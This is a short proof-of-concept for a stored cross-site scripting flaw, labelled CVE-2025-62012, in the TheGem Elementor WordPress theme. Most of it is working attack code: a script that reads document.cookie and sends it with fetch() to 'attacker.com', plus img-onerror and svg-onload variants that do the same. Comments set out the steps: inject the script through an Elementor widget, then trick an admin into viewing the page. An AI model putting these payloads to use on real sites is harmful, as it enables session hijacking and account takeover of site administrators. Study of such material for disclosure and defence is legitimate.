CVE-2025-62012

<!-- CVE-2025-62012 XSS PoC for TheGem Elementor Theme --> <!-- This PoC demonstrates storing malicious JavaScript via Elementor --> <!-- Step 1: Identify vulnerable endpoint --> <!-- TheGem Elementor allows editing page content through Elementor builder --> <!-- Step 2: Inject XSS payload via Elementor text/heading widget --> <!-- Example payload in Elementor text editor --> <script> // Malicious JavaScript - Cookie stealing example var stolenCookies = document.cookie; var attackerServer = 'https://attacker.com/steal?c=' + encodeURIComponent(stolenCookies); // Send stolen data to attacker fetch(attackerServer).then(response => { console.log('Cookies exfiltrated'); }).catch(err => { console.error('Exfiltration failed:', err); }); // Alternative payload - Session hijacking // <img src=x onerror="this.src='https://attacker.com/log?cookie='+document.cookie"> // <svg onload="fetch('https://attacker.com/log?cookie='+document.cookie)"> </script> <!-- Step 3: Social engineering - trick admin to preview/view the page --> <!-- Once visited, XSS executes in victim's browser context -->

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